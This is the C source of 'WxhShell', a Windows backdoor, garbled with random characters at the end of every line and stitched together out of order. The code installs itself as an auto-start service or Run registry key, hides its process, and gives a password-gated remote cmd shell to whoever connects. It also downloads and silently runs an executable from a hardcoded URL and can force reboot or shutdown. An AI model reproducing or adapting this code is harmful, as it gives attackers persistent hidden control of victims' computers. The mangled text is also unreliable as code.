    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AcI,N~~  
    if(Boot(SHUTDOWN)) Hn>B!Bm*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DrnJ;Hi"  
    else { %>-@K|:gS  
    closesocket(wsh); 6hZ@;Q=b  
    ExitThread(0); 1&;QyTN  
    } bl_H4  
    break; *BuUHjTv  
    } X U/QA [K  
  // 获取shell ;S0Kh"A  
  case 's': { ,QzL)W7  
    CmdShell(wsh); V-n&oCS+f  
    closesocket(wsh); /kt2c[9  
    ExitThread(0); F":r4`5D"K  
    break; r]3'74j:  
  } h~{aGo  
  // 退出 "S 3wk=?4  
  case 'x': { ,rJXy_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :l|%17N  
    CloseIt(wsh); yV_4?nh  
    break; OHiQ7#y  
    } 5_XV%-wM  
  // 离开 ^rvx!?zO  
  case 'q': { ` PYJ^I0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z2im@c67{  
    closesocket(wsh); TuW%zF/  
    WSACleanup(); L\y;LSTU  
    exit(1); aK`@6F,]j  
    break; r$]HIvJD  
        } DjSbyXvrg  
  } )M__ t5L  
  } vjjSKP6B  
+}f9   
  // 提示信息 @as"JAN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r}uz7}z %"  
} #j *d^j&  
  } p~*UpU8u  
Q WMdn  
  return; 2tal  
}  o x+ 3U  
+3KEzo1=)  
// shell模块句柄 [HCAmnb  
int CmdShell(SOCKET sock) J>u 7,  
{ TEDAb >  
STARTUPINFO si; s}N#n(  
ZeroMemory(&si,sizeof(si)); <{~6}6o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e9Nk3Sj]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u]vQ>Uu  
PROCESS_INFORMATION ProcessInfo; SR DXfkoI  
char cmdline[]="cmd"; L[=a/|)TBV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hAHq\  
  return 0; -!c"k}N=  
} i+gQE!  
bf9a 1<\  
// 自身启动模式 h,Q3oy\s1  
int StartFromService(void) ^5=B`aich  
{ }d<}FJ-,  
typedef struct <Qxh)@ N  
{ ( H6c{'&  
  DWORD ExitStatus; $z+8<?YD  
  DWORD PebBaseAddress; H"qOSf{  
  DWORD AffinityMask; / ~^rr f  
  DWORD BasePriority; {#)0EzV6  
  ULONG UniqueProcessId; g55`A`5%C  
  ULONG InheritedFromUniqueProcessId; NMA}Q$o s  
}   PROCESS_BASIC_INFORMATION; TC<@e<-%Sq  
)n,P"0  
PROCNTQSIP NtQueryInformationProcess; ^$ t7+g  
y K"kEA[;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [ :zO}r:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ",!1m7[wF  
Ek6MYc8<b~  
  HANDLE             hProcess; 6H'HxB4  
  PROCESS_BASIC_INFORMATION pbi; ;X?mmv'  
hcyM6:}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B9wPU1  
  if(NULL == hInst ) return 0; CxfRV L`7  
U4cY_p?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q9Q|lO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CP6LHkM9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '7oA< R  
FXs*vg`  
  if (!NtQueryInformationProcess) return 0; 95z]9UL  
1|ra&(=)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;6!Pwb;hY  
  if(!hProcess) return 0; 9k6r_G"  
N&M~0iw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }X=[WCK U  
. Z%{'CC  
  CloseHandle(hProcess); 5Lf{8UxI  
0lv %`,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L@gWzC~?Q  
if(hProcess==NULL) return 0; A]DTUdL  
C[%OkPR,H  
HMODULE hMod; El@(mOu|  
char procName[255]; ;f"0~D2  
unsigned long cbNeeded; >Bgw}PI  
X_7UJ jFw"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2"B_At  
f{FDuIl n  
  CloseHandle(hProcess); 'Tc]KXD6  
lhkwWbB  
if(strstr(procName,"services")) return 1; // 以服务启动 %%4t~XC#  
lg b?)=  
  return 0; // 注册表启动 4vwTs*eB `  
} tuhA 9}E  
AU$Uxwz4  
// 主模块 rW0FA  
int StartWxhshell(LPSTR lpCmdLine) WAS U0  
{ DrO2y  
  SOCKET wsl; dX)GPC-D7  
BOOL val=TRUE; |P%DkM*X  
  int port=0; 9J?wO9rI  
  struct sockaddr_in door; TqddOp  
R>(@Z M&  
  if(wscfg.ws_autoins) Install(); T16{_  
<NuUW9+  
port=atoi(lpCmdLine); \xS&v7b  
r}jGUe}d  
if(port<=0) port=wscfg.ws_port; Sx8OhUyux  
oD$J0{K6  
  WSADATA data; <Ce2r"U1e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2!$gyu6bpG  
7Ddaf>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =-}[ ^u1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m2v'WY5u  
  door.sin_family = AF_INET; Q J7L7S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  z~>pVs  
  door.sin_port = htons(port); pe{; ~-|6  
3dRr/Ilc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >G~R,{6U  
closesocket(wsl); A21N|$[  
return 1; Jyqc2IH  
} 4M^G`WA}t9  
 1"e)5xI  
  if(listen(wsl,2) == INVALID_SOCKET) { ,Uy|5zv  
closesocket(wsl); .({smN,B  
return 1; 78/N   
} ;j)FnY=:-  
  Wxhshell(wsl); +fnK /%b  
  WSACleanup(); QQV~?iW{~  
]Qe{e3p;  
return 0;  &CG*)bE  
xSBc-u#< G  
} Iy6$7~  
Nq@+'<@p$  
// 以NT服务方式启动 H Tz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E{n:J3_X^d  
{ 4NdN< #Lr  
DWORD   status = 0; -k7X:!>QHC  
  DWORD   specificError = 0xfffffff; Q(\4]i< S  
6HlePTf8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B.L]Rk\4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e A}%C.ZR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @_LN3zP  
  serviceStatus.dwWin32ExitCode     = 0; kn/Ao}J74z  
  serviceStatus.dwServiceSpecificExitCode = 0; o#hjvg  
  serviceStatus.dwCheckPoint       = 0; bN3#{l-`  
  serviceStatus.dwWaitHint       = 0; \~5C7^_  
~D|5u\D-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E.U_W  
  if (hServiceStatusHandle==0) return; <3j"&i]Tm*  
D91e\|]  
status = GetLastError(); oy;K_9\  
  if (status!=NO_ERROR) &wB\ ~Ie-  
{ R+7oRXsu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b%Eei2Gm%  
    serviceStatus.dwCheckPoint       = 0; Ii:>xuF&  
    serviceStatus.dwWaitHint       = 0; U. @*`Fg  
    serviceStatus.dwWin32ExitCode     = status; A=j0On  
    serviceStatus.dwServiceSpecificExitCode = specificError; E(i[o?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Q72;/$  
    return; yA3wtm/?  
  } $*W6A/%O  
m B\C?=_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w` DW(hXJ  
  serviceStatus.dwCheckPoint       = 0; .&x}NYX4  
  serviceStatus.dwWaitHint       = 0; {Ixg2=E\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U`]T~9I  
} raQ7.7  
gp-T"l  
// 处理NT服务事件,比如:启动、停止 -$,%f?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -!8(bjlJ&  
{ -uH#VP{0M  
switch(fdwControl) X@|&c]]  
{ bTSL<"(]N  
case SERVICE_CONTROL_STOP: ILic.@st  
  serviceStatus.dwWin32ExitCode = 0; )$Z=t-q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; > MH(0+B*  
  serviceStatus.dwCheckPoint   = 0; ^Eo=W/   
  serviceStatus.dwWaitHint     = 0; PG]%Bv57  
  { Zx$ol;Yd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rP(eva  
  } ]0r|_)s  
  return; uZi.HG{<)  
case SERVICE_CONTROL_PAUSE: efY8M2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U/NBFc:[y:  
  break; O$ HBO  
case SERVICE_CONTROL_CONTINUE: :h1pBEiH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k;5Pom  
  break; Cbs5dn(Y  
case SERVICE_CONTROL_INTERROGATE: 9*:gr#(5  
  break; S:61vD  
}; -<#!DjV6(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >5 b/or  
} -ti{6:H8  
wJlX4cT4YV  
// 标准应用程序主函数 /xJqJ_70X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D.%B$Y;G  
{ tV/Z)fpyH  
Xq4|uuS-O  
// 获取操作系统版本 9GdB#k6W`  
OsIsNt=GetOsVer(); b|5w]<?'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |~<N -~.C  
|p00j|k   
  // 从命令行安装 *{o UWt  
  if(strpbrk(lpCmdLine,"iI")) Install(); >b.^kc  
[\Qr. 2  
  // 下载执行文件 C_LvZ=  
if(wscfg.ws_downexe) { O3o: qly!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ggb |Ew  
  WinExec(wscfg.ws_filenam,SW_HIDE); nNmsr=y5  
} 26n^Dy>}  
Yct5V,X^  
if(!OsIsNt) { CCDDK L]N:  
// 如果时win9x,隐藏进程并且设置为注册表启动 !Ss HAE|  
HideProc(); *V k ^f+5  
StartWxhshell(lpCmdLine); OJ4SbI  
} Fd\ e*ww'  
else y/c%+ Ca/  
  if(StartFromService()) ]+H ?@*b`  
  // 以服务方式启动 {0YAzZ7  
  StartServiceCtrlDispatcher(DispatchTable); b.2J]6G  
else pe&UQ C^  
  // 普通方式启动 %}>dqUyQ  
  StartWxhshell(lpCmdLine); kJ)gP2E  
[XlB<P=|>  
return 0; tK%c@gGU9  
} 4QJ8Z t  
8X?>=tl  
=GR 'V  
'b"TH^\  
=========================================== <JI& {1  
H' J|U|  
;9uRO*H?T  
Ps R>V)L  
g2p"LWex-  
BC\S/5~k  
" F#+.>!  
.+K S`  
#include <stdio.h> oYM,8 K  
#include <string.h> l*7?Y7FK  
#include <windows.h> rU#li0 >  
#include <winsock2.h> vi {uy  
#include <winsvc.h> %kU'hzLg  
#include <urlmon.h> VS/;aG$&y  
,|To#umym>  
#pragma comment (lib, "Ws2_32.lib") +3^NaY`Y  
#pragma comment (lib, "urlmon.lib") NyPd5m:  
^lO76Dz~a  
#define MAX_USER   100 // 最大客户端连接数 M1u{A^d.Z  
#define BUF_SOCK   200 // sock buffer @%W]".*'}  
#define KEY_BUFF   255 // 输入 buffer .`C V^\  
5JFV%odo  
#define REBOOT     0   // 重启 cBEHH4U  
#define SHUTDOWN   1   // 关机 BgRZ<B`  
hG Apuy  
#define DEF_PORT   5000 // 监听端口 %%g-GyP 1  
E8-53"m  
#define REG_LEN     16   // 注册表键长度 V,LVB_6  
#define SVC_LEN     80   // NT服务名长度 R,Ml&4pZ}  
@"1}16b#f  
// 从dll定义API bsO@2NP'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WD?Jk9_F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jyu`-=It  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W^xZ+]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BXTN>d27  
l_+A5Xy  
// wxhshell配置信息 W(@>?$&  
struct WSCFG { 5N1 K~".  
  int ws_port;         // 监听端口 NfF~dK|  
  char ws_passstr[REG_LEN]; // 口令 9e5gy  
  int ws_autoins;       // 安装标记, 1=yes 0=no :t2B^})\  
  char ws_regname[REG_LEN]; // 注册表键名 4r*Pa(;y  
  char ws_svcname[REG_LEN]; // 服务名 'TX M{RGw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !Z/$}xxj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :dDxxrs"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $^Ca: duk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j-* TXog  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K/Jk[29"\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z~.9@[LG]  
k!13=Gh  
}; l10-XU02  
$Q4=37H+  
// default Wxhshell configuration $,P\)</ VR  
struct WSCFG wscfg={DEF_PORT, 2nx9#B*/T  
    "xuhuanlingzhe", aQh?}=da  
    1, #{w5)|S#JD  
    "Wxhshell", (C~dkR?  
    "Wxhshell", KW>VOW<.  
            "WxhShell Service", >a9l>9fyY  
    "Wrsky Windows CmdShell Service", R HXvee55  
    "Please Input Your Password: ", yjeL9:jH[  
  1, b_ JWnh  
  "http://www.wrsky.com/wxhshell.exe", ZeTL$E[E}  
  "Wxhshell.exe" ` @>ZGL:  
    }; hfh.eL  
'Q`C[*c  
// 消息定义模块 R2Yl)2 D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ) MBS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x-4J/tm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O=`o'%K<  
char *msg_ws_ext="\n\rExit."; 5U;nhDmM  
char *msg_ws_end="\n\rQuit."; CKN8z  
char *msg_ws_boot="\n\rReboot..."; +{Gw9h"5g*  
char *msg_ws_poff="\n\rShutdown..."; ] ?9t-  
char *msg_ws_down="\n\rSave to "; Zx9.pFc"  
Fd}<Uote3  
char *msg_ws_err="\n\rErr!"; X}?ESjZJ  
char *msg_ws_ok="\n\rOK!"; 1:YAn  
Pzptr%{  
char ExeFile[MAX_PATH]; 7p !zp9|  
int nUser = 0; iBS0rT_  
HANDLE handles[MAX_USER]; aa!a&L|!  
int OsIsNt; x57'Cg \  
gb9[Meg'  
SERVICE_STATUS       serviceStatus; excrXx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gTuX *7w  
pr)K{~m]{<  
// 函数声明 5{HtJ?sKc5  
int Install(void); S8vx[<  
int Uninstall(void); ;h~?ko  
int DownloadFile(char *sURL, SOCKET wsh); Q+HZ?V(  
int Boot(int flag); GP Ix@k  
void HideProc(void); 6l<1A$BQ  
int GetOsVer(void); !HvGlj@(|  
int Wxhshell(SOCKET wsl); .u&|e  
void TalkWithClient(void *cs); ~X[S<Gi#  
int CmdShell(SOCKET sock); | [p68v>  
int StartFromService(void); %OuX`w=  
int StartWxhshell(LPSTR lpCmdLine); v'K % %z  
2h5tBEOX.s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `)LIVi"(D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DqRLx85d1  
I>d I[U  
// 数据结构和表定义 _qEWu Do  
SERVICE_TABLE_ENTRY DispatchTable[] = 8>2&h  
{ j,Pwket  
{wscfg.ws_svcname, NTServiceMain}, otoBb^Mz  
{NULL, NULL} ofVEao  
}; dEL3?-;'  
$R8>u#K!  
// 自我安装 C0P*D,  
int Install(void) ^zKt{a  
{ ;gdi=>S_  
  char svExeFile[MAX_PATH]; (y%%6#bd  
  HKEY key; 9/FG,9  
  strcpy(svExeFile,ExeFile); E`Q;DlXv>  
Ii,~HH  
// 如果是win9x系统,修改注册表设为自启动 ;5-R =e(KA  
if(!OsIsNt) { l t&$8jh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wk7L:uK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _E3U.mV  
  RegCloseKey(key); Ng?apaIi@~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -m E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fecx';_1`  
  RegCloseKey(key); '" ^ B&W  
  return 0; 0Z@ARMCe|m  
    } ]jZiW1C*a  
  } bl$+8 !~  
} 71JM [2  
else { lb-S0plw  
v<{wA`'R+  
// 如果是NT以上系统,安装为系统服务 R5m`;hF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;r gH}r  
if (schSCManager!=0) N>Vacc_[  
{ eo>/  
  SC_HANDLE schService = CreateService JmnBq<&,0  
  ( 'bZMh9|  
  schSCManager, x:!C(Ep)  
  wscfg.ws_svcname, fG X1y  
  wscfg.ws_svcdisp, T@%;0Ro~  
  SERVICE_ALL_ACCESS, e} sc]MTM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UOn!Y@  
  SERVICE_AUTO_START, (45NZBs  
  SERVICE_ERROR_NORMAL, [?Mc4uT{  
  svExeFile, Cf.pTYSl  
  NULL, `G_(xN7O  
  NULL, pe\Txg6  
  NULL,  R4&|t  
  NULL, YRg=yVo 2  
  NULL &>&dhdTQ  
  ); ipx@pNW;"  
  if (schService!=0) l9M#]*{  
  { z*Myokhf  
  CloseServiceHandle(schService); [z W_%O kP  
  CloseServiceHandle(schSCManager); Ymwx (Pm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }9L 40)8  
  strcat(svExeFile,wscfg.ws_svcname); l-DGy#h+z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UgF)J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !L &=?CX  
  RegCloseKey(key); ;J,,f1Vw  
  return 0; &4mfzpK  
    } nU=f<]S=  
  } Ma`   
  CloseServiceHandle(schSCManager); ?)A]q' O  
} "i!2=A8k  
} GCf._8;%  
*Gk<"pEeS  
return 1; _4~ng#M*  
} X";QA":  
. 1{vpX  
// 自我卸载 M9uH&CD6U  
int Uninstall(void) N}8HK^n*  
{ JL" 3#p}  
  HKEY key; ~ERRp3Ee ?  
Y(#d8o}}#  
if(!OsIsNt) {  2.HZ+1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { USnD7I/b  
  RegDeleteValue(key,wscfg.ws_regname); {f@xA  
  RegCloseKey(key); Ev$-P X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9,iq"dQ  
  RegDeleteValue(key,wscfg.ws_regname); <2o.,2?G  
  RegCloseKey(key); &J5-'{U|0  
  return 0; ]X >QLD0W  
  } >6.[i@RmWU  
} Vz7w{HY  
} C*W.9  
else { 0I(GB;E  
yZj}EBa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D]G'R5H  
if (schSCManager!=0) UtW"U0A  
{ ]AFM Y<mB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1A`?y& Ll  
  if (schService!=0) M f%^\g.}  
  { dCoi>PO  
  if(DeleteService(schService)!=0) { gJcXdv=]2  
  CloseServiceHandle(schService); ReHd~G9  
  CloseServiceHandle(schSCManager); `aO@N(  
  return 0; /QV. U.>G  
  } T;4gcJPn"M  
  CloseServiceHandle(schService); H/^TXqQ8  
  } Zgy2Pot  
  CloseServiceHandle(schSCManager); @??c<]9F  
} V~]'+A q>  
} JT.\f,z&  
'sjJSc  
return 1; \ ]kb&Qw  
} [F AOp@7W  
Il&"=LooZ  
// 从指定url下载文件 >DL-Q\U  
int DownloadFile(char *sURL, SOCKET wsh) cvs"WX3  
{ $3]E8t  
  HRESULT hr; oQ-|\?{;A  
char seps[]= "/"; 08K.\3  
char *token; LjH&f 4mY  
char *file; nuQLq^e  
char myURL[MAX_PATH]; TReM8Vd  
char myFILE[MAX_PATH]; FSYjp{z5  
c~pUhx1(  
strcpy(myURL,sURL); Wf`Oye Rz  
  token=strtok(myURL,seps); #*>7X>,J  
  while(token!=NULL) P^_d$  
  { j$mt*z L  
    file=token; 2=/g~rp*  
  token=strtok(NULL,seps); ]/V Iff  
  } 21/a3Mlx#  
53u.p c  
GetCurrentDirectory(MAX_PATH,myFILE); ,QHx*~9  
strcat(myFILE, "\\"); /m{?o  
strcat(myFILE, file); '/yx_R K2?  
  send(wsh,myFILE,strlen(myFILE),0); K3r>nGLBo  
send(wsh,"...",3,0); VQ,\O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4G;`KqR@  
  if(hr==S_OK) $Pb[ c%'  
return 0; MBYD,v&  
else cV,03]x  
return 1; O'& \-j 1  
?j4,^K3  
} gH{\y5%rO  
Uwm[q+sTp  
// 系统电源模块 7dg 5HH  
int Boot(int flag) Aya;ycsgE  
{ IrwF B  
  HANDLE hToken; H;7H6fyZ  
  TOKEN_PRIVILEGES tkp; 'xrbg]b%  
]kplb0`  
  if(OsIsNt) { |z7Crz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 85@6uBh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7jg(j~tQ  
    tkp.PrivilegeCount = 1; n,Mw# r?y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ah6F^Kpl{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M"$RtS|h  
if(flag==REBOOT) { ,cO)Sxj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O"-PNF,J  
  return 0; @Kb|  
} C^42=?  
else { F=T.*-oS3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z%n.:I<%ZV  
  return 0; +q=jB-eIx  
} ?>\]%$5o  
  } 3]]6z K^i  
  else { fm:{&(  
if(flag==REBOOT) { cp?P@-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a5~C:EU0  
  return 0; AA& dZjz  
} e"H+sM26-  
else { I8%'Z>E(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;o@`l$O   
  return 0; "N/K*  
} .6/p4OR|  
} r`g;k&"a  
np>!lF:  
return 1; ds[Z=_Ll  
} J&Qy$itqg  
IlL   
// win9x进程隐藏模块 1:s~ ]F@  
void HideProc(void) 9a Ps_|C  
{ 0|Ft0y`+  
257;@;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0m!ZJHe  
  if ( hKernel != NULL ) \*"0wR;[K  
  { Oc+L^}elJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4wD^?S!p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~HI0<;r=eL  
    FreeLibrary(hKernel); 2}Plr{s9  
  } 5h^qtK  
B=/=U7T  
return; ] "vdC}  
} `l0icfy  
^a5~FI:  
// 获取操作系统版本 H.~+{jTr  
int GetOsVer(void) pR7G/]U$A  
{ ^O:RS g9  
  OSVERSIONINFO winfo; "MP{z~M mj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JJOs L!@  
  GetVersionEx(&winfo); o@~gg *  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /38Pp%  
  return 1; \/%Q PE8  
  else ;.m[&h 0  
  return 0; ,qh  
} BeCr){,3  
m,fr?d/;  
// 客户端句柄模块 2YEn)A@8  
int Wxhshell(SOCKET wsl) >(Ddw N9l  
{ o%Q'<0d  
  SOCKET wsh; g@i 4H[k  
  struct sockaddr_in client; ;G&O"S><]c  
  DWORD myID; $k=rd#3  
udr'~,R  
  while(nUser<MAX_USER) $jL.TraV7  
{ CA~S$H\"  
  int nSize=sizeof(client); 2a}_|#*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nq1RAM  
  if(wsh==INVALID_SOCKET) return 1; 7cSvAX0Z.  
}z@hx@N/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~.SU$  
if(handles[nUser]==0) :udZfA\sW  
  closesocket(wsh); "K]4j]yU  
else wOSNlbQ5jl  
  nUser++; R|yTUGY  
  } L(YT6Vmm+t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @XJv9aq  
v0p EN\  
  return 0; S+ x [1#r  
} EH%j$=@X  
N* QI>kzU  
// 关闭 socket Va:jMN  
void CloseIt(SOCKET wsh) 6Vo}Uaq4  
{ IrK )N  
closesocket(wsh); Z!6G (zz:>  
nUser--; i;7jJ(#V  
ExitThread(0); 3x$#L!VuU  
} {643Dz<e  
<aS1bQgaU  
// 客户端请求句柄 Ro69woU  
void TalkWithClient(void *cs) {M5IJt"{4b  
{ n%hnL$!z  
CK%W +";  
  SOCKET wsh=(SOCKET)cs; :2+:(^l  
  char pwd[SVC_LEN]; O\z%6:'M  
  char cmd[KEY_BUFF]; /vU31_eZt  
char chr[1]; }r[BME  
int i,j; 7KLq-u-8  
0Oq1ay^  
  while (nUser < MAX_USER) { n1V*VQV  
bjZ?WZr  
if(wscfg.ws_passstr) { j(hC't-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -u(#V#}OV?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9lwg`UWl,  
  //ZeroMemory(pwd,KEY_BUFF); B:SRHd{*Wu  
      i=0; N~_gT Jr~P  
  while(i<SVC_LEN) { 0!T $Ef   
`K.yE0^i  
  // 设置超时 *%.*vPJ  
  fd_set FdRead; Y2fs$emv  
  struct timeval TimeOut; ?UzHQr  
  FD_ZERO(&FdRead);  lwlR"Z  
  FD_SET(wsh,&FdRead); VEk|lX;2  
  TimeOut.tv_sec=8; {$JIR}4S  
  TimeOut.tv_usec=0; y[# U/2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b?l\Q Mvi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cq=c'(cX  
3zkq'lZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X|:O`b$G  
  pwd=chr[0]; i@6 kI C  
  if(chr[0]==0xd || chr[0]==0xa) { x1Uj4*Au  
  pwd=0; /T0|<r!c  
  break; o5d)v)Rx=  
  } Gvwel!6  
  i++; S!uyplYKF  
    } G9]GK+@&F  
! d(,t[cV  
  // 如果是非法用户,关闭 socket R[6&{&E:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $t^`Pt*:u  
} >dO^pDSs  
zB4gnVhus|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z]pH'c39  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .nnAI@7E  
L))(g][;  
while(1) { Sn0 Gw  
Xg"=,j2  
  ZeroMemory(cmd,KEY_BUFF); FTn[$q  
YRl2e`&jt  
      // 自动支持客户端 telnet标准   eG<32$I  
  j=0; F C"dQ  
  while(j<KEY_BUFF) { )Fbkt(1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?%?@?W>s@  
  cmd[j]=chr[0]; -Rmz`yOq}  
  if(chr[0]==0xa || chr[0]==0xd) { q~lmOT~E  
  cmd[j]=0; )7f:hg  
  break; p AD@oPC  
  } %*,'&S  
  j++; 0YKG`W  
    } N:0mjHG  
"&An9H'  
  // 下载文件 E/ Pa0.  
  if(strstr(cmd,"http://")) { Gg_i:4F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W n|w~{d{  
  if(DownloadFile(cmd,wsh)) FQ_4a}UOjX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {min9  
  else n@xU5Q  
